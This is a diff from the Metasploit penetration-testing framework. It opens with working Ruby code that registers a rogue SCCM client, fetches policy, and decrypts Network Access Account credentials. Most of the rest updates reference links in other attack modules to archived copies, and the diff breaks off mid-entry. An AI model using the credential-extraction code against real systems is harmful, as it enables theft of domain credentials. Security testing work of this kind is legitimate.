"{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{management_point.downcase}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary') + + opts = http_opts.merge({ + 'uri' => '/ccm_system_windowsauth/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' + }) + http_response = send_request_cgi(opts) + if http_response.nil? + fail_with(Failure::Unreachable, 'No response from server') + end + ip_address = http_response.peerinfo['addr'] + response = Rex::MIME::Message.new(http_response.to_s) + if response.parts.empty? + html_doc = Nokogiri::HTML(http_response.to_s) + error = html_doc.xpath('//title').text + if error.blank? + error = 'Bad response from server' + dlog('Response from server:') + dlog(http_response.to_s) + end + fail_with(Failure::UnexpectedReply, error) + end + + response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings + sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') + if sms_id.nil? + approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value + if approval == '-1' + fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server') + end + fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') + end + print_status("Got SMS ID: #{sms_id}") + + [sms_id, ip_address] + end + + # Extract obfuscated credentials from the resulting policy XML document + def get_creds_from_policy_doc(policy) + xml_doc = Nokogiri::XML(policy) + naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") + results = [] + naa_sections.each do |section| + username = section.xpath("property[@name='NetworkAccessUsername']/value").text + username = deobfuscate_policy_value(username) + username.delete_suffix!("\x00") + + password = section.xpath("property[@name='NetworkAccessPassword']/value").text + password = deobfuscate_policy_value(password) + password.delete_suffix!("\x00") + + unless username.blank? && password.blank? + # Deleted credentials seem to result in just an empty value for username and password + results.append([username, password]) + end + end + results + end + + def deobfuscate_policy_value(value) + value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*') + data_length = value[52..55].unpack('I')[0] + buffer = value[64..64 + data_length - 1] + key = mscrypt_derive_key_sha1(value[4..43]) + iv = "\x00" * 8 + cipher = OpenSSL::Cipher.new('des-ede3-cbc') + cipher.decrypt + cipher.iv = iv + cipher.key = key + result = cipher.update(buffer) + cipher.final + + result.force_encoding('utf-16le').encode('utf-8') + end + + def mscrypt_derive_key_sha1(secret) + buf1 = [0x36] * 64 + buf2 = [0x5C] * 64 + + digest = OpenSSL::Digest.new('SHA1') + hash = digest.digest(secret).bytes + + hash.each_with_index do |byte, i| + buf1[i] ^= byte + buf2[i] ^= byte + end + + buf1 = buf1.pack('C*') + buf2 = buf2.pack('C*') + + digest = OpenSSL::Digest.new('SHA1') + hash1 = digest.digest(buf1) + + digest = OpenSSL::Digest.new('SHA1') + hash2 = digest.digest(buf2) + + hash1 + hash2[0..3] + end + + ## Create a self-signed private key and certificate for our computer registration + def generate_key_and_cert(subject) + key = OpenSSL::PKey::RSA.new(KEY_SIZE) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF) + cert.public_key = key.public_key + cert.issuer = OpenSSL::X509::Name.new([['CN', subject]]) + cert.subject = OpenSSL::X509::Name.new([['CN', subject]]) + yr = 24 * 3600 * 365 + cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr) + cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr)) + ef = OpenSSL::X509::ExtensionFactory.new + ef.subject_certificate = cert + ef.issuer_certificate = cert + cert.extensions = [ + ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'), + ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'), + ] + cert.sign(key, OpenSSL::Digest.new('SHA256')) + + [key, cert] + end + + def report_creds(ip_address, user, password) + service_data = { + address: ip_address, + port: rport, + protocol: 'tcp', + service_name: 'sccm', + workspace_id: myworkspace_id + } + + domain, account = user.split(/\\/) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: account, + private_data: password, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain + } + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end +end diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb index 958f618c71e36..e94ca5dbe9793 100644 --- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb +++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'References' => [ ['OSVDB', '66842'], - ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], ['US-CERT-VU', '362332'] ] )) diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb index 8ad09b2f767c7..1a9c98ddfe641 100644 --- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb +++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'References' => [ ['OSVDB', '66842'], - ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], ['US-CERT-VU', '362332'] ] )) diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb index 6dc8a46e102a9..f432f8e85e4ea 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb @@ -17,7 +17,7 @@ def initialize(info = {}) 'References' => [ ['OSVDB', '66842'], - ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], ['US-CERT-VU', '362332'] ], 'Actions' => diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb index 1a66ffc702144..c94a80c4bbed5 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'References' => [ ['OSVDB', '66842'], - ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], + ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'], ['US-CERT-VU', '362332'] ], 'Actions' => diff --git a/modules/auxiliary/admin/wemo/crockpot.rb b/modules/auxiliary/admin/wemo/crockpot.rb index ab8ec41dc0e5f..32e0134e0764b 100644 --- a/modules/auxiliary/admin/wemo/crockpot.rb +++ b/modules/auxiliary/admin/wemo/crockpot.rb @@ -20,7 +20,7 @@ def initialize(info = {}) }, 'Author' => 'wvu', 'References' => [ - ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'], + ['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'], ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'], ['URL', 'http://www.wemo.com/'] ], diff --git a/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb b/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb index dc496e13844ff..f965866476757 100644 --- a/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb +++ b/modules/auxiliary/dos/apple_ios/webkit_backdrop_filter_blur.rb @@ -21,7 +21,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://twitter.com/pwnsdx/status/1040944750973595649'], - ['URL', 'https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'], + ['URL', 'http://web.archive.org/web/20220706175501/https://gist.github.com/pwnsdx/ce64de2760996a6c432f06d612e33aea'], ['URL', 'https://nbulischeck.github.io/apple-safari-crash'], ], 'DisclosureDate' => '2018-09-15', diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index 08e27c26b76d6..1a6ebdbfadd40 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2015-5477'], - ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], + ['URL', 'http://web.archive.org/web/20190425014550/https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], ['URL', 'https://kb.isc.org/article/AA-01272'] ], 'DisclosureDate' => '2015-07-28', diff --git a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb index 138bf861d2851..289e20201f601 100644 --- a/modules/auxiliary/dos/scada/allen_bradley_pccc.rb +++ b/modules/auxiliary/dos/scada/allen_bradley_pccc.rb @@ -30,7 +30,7 @@ def initialize(info = {}) [ [ 'CVE', '2017-7924' ], [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ], - [ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780'] + [ 'URL', 'http://web.archive.org/web/20250116210051/https://dl.acm.org/doi/10.1145/3174776.3174780'] ]) register_options([Opt::RPORT(44818),]) end diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb index 4ba83160ea85d..7103aa11e83af 100644 --- a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], - [ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ], + [ 'URL', 'http://web.archive.org/web/20221209030848/https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ], [ 'CVE', '2014-0781'] ], 'DisclosureDate' => '2014-03-10', diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb index 3c326cf701268..120f3317a5adc 100644 --- a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -28,8 +28,8 @@ def initialize(info = {}) ['CVE', '2014-0195'], ['ZDI', '14-173'], ['BID', '67900'], - ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], - ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] + ['URL', 'http://web.archive.org/web/20150815024234/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], + ['URL', 'http://web.archive.org/web/20140707160621/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] ], 'DisclosureDate' => '2014-06-05')) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index c102b4ed62927..94c104baac615 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -22,8 +22,8 @@ def initialize(info = {}) [ 'CVE', '2012-0002' ], [ 'MSB', 'MS12-020' ], [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], - [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], - [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], + [ 'URL', 'http://web.archive.org/web/20161020044803/http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], + [ 'URL', 'http://web.archive.org/web/20160627131634/http://pastie.org/private/feg8du0e9kfagng4rrg' ], [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], [ 'EDB', '18606' ], [ 'URL', 'https://www.rapid7.com/blog/post/2012/03/21/metasploit-update/' ] diff --git a/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb b/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb index 521423990600c..eb379bbaa3ff3 100644 --- a/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb +++ b/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'References' => [ [ 'CVE', '2020-5724' ], [ 'CVE', '2020-5723'], - [ 'URL', 'https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'], + [ 'URL', 'http://web.archive.org/web/20230319062924/http://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'], [ 'URL', 'https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py'] ], 'DisclosureDate' => '2020-03-30', diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb index 9d7037368c1a6..943941c0b65d4 100644 --- a/modules/auxiliary/gather/joomla_weblinks_sqli.rb +++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'References' => [ ['EDB', '31459'], - ['URL', 'https://developer.joomla.org/security/578-20140301-core-sql-injection.html'] + ['URL', 'http://web.archive.org/web/20221129082328/https://developer.joomla.org/security/578-20140301-core-sql-injection.html'] ], 'DisclosureDate' => '2014-03-02' )) diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb index de063e90684b4..7900cfdee6dcf 100644 --- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb +++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb @@ -14,12 +14,12 @@ class MetasploitModule < Msf::Auxiliary ADS_GROUP_TYPE_UNIVERSAL_GROUP = 0x00000008 REFERENCES = { - 'ESC1' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], - 'ESC2' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], - 'ESC3' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], - 'ESC4' => [ 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], - 'ESC13' => [ 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ], - 'ESC15' => [ 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc' ] + 'ESC1' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ], + 'ESC2' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ], + 'ESC3' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ], + 'ESC4' => [ SiteReference.new('URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2') ], + 'ESC13' => [ SiteReference.new('URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53') ], + 'ESC15' => [ SiteReference.new('URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc') ] }.freeze SID = Struct.new(:value, :name) do @@ -63,11 +63,7 @@ def initialize(info = {}) 'Spencer McIntyre', # ESC13 and ESC15 updates 'jheysel-r7' # ESC4 update ], - 'References' => [ - [ 'URL', 'https://posts.specterops.io/certified-pre-owned-d95910965cd2' ], - [ 'URL', 'https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53' ], # ESC13 - [ 'URL', 'https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc' ] # ESC15 - ], + 'References' => REFERENCES.values.flatten.map { |r| [ r.ctx_id, r.ctx_val ] }.uniq, 'DisclosureDate' => '2021-06-17', 'License' => MSF_LICENSE, 'DefaultOptions' => { @@ -453,7 +449,8 @@ def find_esc13_vuln_cert_templates groups = [] entry['mspki-certificate-policy'].each do |certificate_policy_oid| policy = get_pki_object_by_oid(certificate_policy_oid) - next if policy['msds-oidtogrouplink'].blank? + + next if policy&.[]('msds-oidtogrouplink').blank? # get the group and check it for two conditions group = get_group_by_dn(policy['msds-oidtogrouplink'].first) diff --git a/modules/auxiliary/gather/ms14_052_xmldom.rb b/modules/auxiliary/gather/ms14_052_xmldom.rb index 720699e66b13e..12b10c1096092 100644 --- a/modules/auxiliary/gather/ms14_052_xmldom.rb +++ b/modules/auxiliary/gather/ms14_052_xmldom.rb @@ -28,7 +28,7 @@ def initialize(info={}) [ 'CVE', '2013-7331'], [ 'MSB', 'MS14-052' ], [ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ], - [ 'URL', 'https://cybersecurity.att.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ] + [ 'URL', 'http://web.archive.org/web/20240814143555/https://cybersecurity.att.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ] ], 'Platform' => 'win', 'DisclosureDate' => '2014-09-09', # MSB. Used in the wild since Feb 2014 diff --git a/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb b/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb index e707f7fed4824..0affcd314e102 100644 --- a/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb +++ b/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb @@ -24,7 +24,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2024-28995'], - ['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'], + ['URL', 'http://web.archive.org/web/20250213123538/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'], ['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis'] ], 'DefaultOptions' => { diff --git a/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb b/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb index 34ceadb643e62..6e7a0e8e9cc5a 100644 --- a/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb +++ b/modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb @@ -19,8 +19,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-28987'], - ['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987'], - ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2'], + ['URL', 'http://web.archive.org/web/20250212002353/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987'], + ['URL', 'http://web.archive.org/web/20250212002353/https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2'], ['URL', 'https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive/'], ], 'DisclosureDate' => '2024-08-22', diff --git a/modules/auxiliary/gather/xymon_info.rb b/modules/auxiliary/gather/xymon_info.rb index a7dca245a708a..0cdeda9f91b13 100644 --- a/modules/auxiliary/gather/xymon_info.rb +++ b/modules/auxiliary/gather/xymon_info.rb @@ -30,7 +30,7 @@ def initialize [ ['CVE', '2016-2055'], ['PACKETSTORM', '135758'], - ['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], + ['URL', 'http://web.archive.org/web/20240519104648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], ['URL', 'https://xymon.sourceforge.net/'], ['URL', 'https://en.wikipedia.org/wiki/Xymon'], ['URL', 'https://en.wikipedia.org/wiki/Big_Brother_(software)'] diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index eff45615eb5ab..4f8de4378703b 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -22,7 +22,7 @@ def initialize(info = {}) ['CVE', '2012-5192'], ['OSVDB', '86599'], ['EDB', '22216'], - ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt'] + ['URL', 'http://web.archive.org/web/20130827041908/https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt'] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb index 7b950d4c7fc39..26e6777e7a3a9 100644 --- a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb @@ -20,7 +20,7 @@ def initialize(info = {}) 'References' => [ ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], ['URL', 'https://www.mandiant.com/resources/breaking-down-the-china-chopper-web-shell-part-ii'], - ['URL', 'https://www.exploit-db.com/docs/27654.pdf'], + ['URL', 'http://web.archive.org/web/20170214000632/https://www.exploit-db.com/docs/27654.pdf'], ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA15-314A'], ['URL', 'http://blog.csdn.net/nixawk/article/details/40430329'] ], diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index cc245ceed6fb3..4e942028e90a7 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -21,7 +21,7 @@ def initialize 'Jon Hart ' # improved metasploit module ], 'References' => [ - ['URL', 'https://github.com/git/git/blob/master/Documentation/technical/index-format.txt'] + ['URL', 'http://web.archive.org/web/20220609025426/https://github.com/git/git/blob/master/Documentation/technical/index-format.txt'] ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/http/iis_internal_ip.rb b/modules/auxiliary/scanner/http/iis_internal_ip.rb index a25ac2b3f8e05..1bc3d092fa9e3 100644 --- a/modules/auxiliary/scanner/http/iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/iis_internal_ip.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ['CVE', '2002-0422'], ['BID', '1499'], ['EDB', '20096'], - ['URL', 'https://support.microsoft.com/en-us/help/218180/internet-information-server-returns-ip-address-in-http-header-content'], # iis 4,5,5.1 + ['URL', 'http://web.archive.org/web/20201125004436/https://support.microsoft.com/en-us/help/218180/internet-information-server-returns-ip-address-in-http-header-content'], # iis 4,5,5.1 ['URL', 'https://support.microsoft.com/en-us/topic/fix-the-internal-ip-address-of-an-iis-7-0-server-is-revealed-if-an-http-request-that-does-not-have-a-host-header-or-has-a-null-host-header-is-sent-to-the-server-c493e9bc-dfd3-0d9b-941c-b2d93a957d9e'], # iis 7+ ['URL', 'https://techcommunity.microsoft.com/t5/iis-support-blog/iis-web-servers-running-in-windows-azure-may-reveal-their/ba-p/826500'] ] diff --git a/modules/auxiliary/scanner/http/iis_shortname_scanner.rb b/modules/auxiliary/scanner/http/iis_shortname_scanner.rb index 60880194c9d35..2fad29524b915 100644 --- a/modules/auxiliary/scanner/http/iis_shortname_scanner.rb +++ b/modules/auxiliary/scanner/http/iis_shortname_scanner.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/' ], - [ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ] + [ 'URL', 'http://web.archive.org/web/20150921104258/http://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ] ] ) ) diff --git a/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb index a37a8af41b71a..1f562a3b93770 100644 --- a/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb +++ b/modules/auxiliary/scanner/http/intel_amt_digest_bypass.rb @@ -22,8 +22,8 @@ def initialize 'References' => [ [ 'CVE', '2017-5689' ], - [ 'URL', 'https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability' ], - [ 'URL', 'https://www.intel.com/content/www/us/en/security-center/default.html?intelid=INTEL-SA-00075&languageid=en-fr' ], + [ 'URL', 'http://web.archive.org/web/20191225124314/https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability' ], + [ 'URL', 'http://web.archive.org/web/20250208090258/https://www.intel.com/content/www/us/en/security-center/default.html?intelid=INTEL-SA-00075' ], ], 'DisclosureDate' => 'May 05 2017' ) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 78f69869b0e3d..40563867fd50c 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -21,7 +21,7 @@ def initialize(info = {}) 'References' => [ ['CVE' , '2017-1001000'], ['WPVDB', '8734'], - ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], + ['URL', 'http://web.archive.org/web/20250221003135/https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], ['URL', 'https://www.php.net/manual/en/language.types.type-juggling.php'], ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb index 8f82d16bb03a4..3e9fe91ee74d8 100644 --- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ [ 'CVE', '2015-0235' ], [ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235/'], - [ 'URL', 'https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html'] + [ 'URL', 'http://web.archive.org/web/20250117140537/https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html'] ] )) diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb index d7c718531db20..6aa266a3106f7 100644 --- a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'References' => [ ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] + ['URL', 'http://web.archive.org/web/20250220003829/https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] ], 'DefaultOptions' => { diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index 3904eb0e612e7..64dce1f4a2837 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -20,7 +20,7 @@ def initialize(info = {}) 'References' => [ ['WPVDB', '7754'], - ['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24'] + ['URL', 'http://web.archive.org/web/20191021124407/http://wordpressa.quantika14.com/repository/index.php?id=24'] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/misc/cisco_smart_install.rb b/modules/auxiliary/scanner/misc/cisco_smart_install.rb index 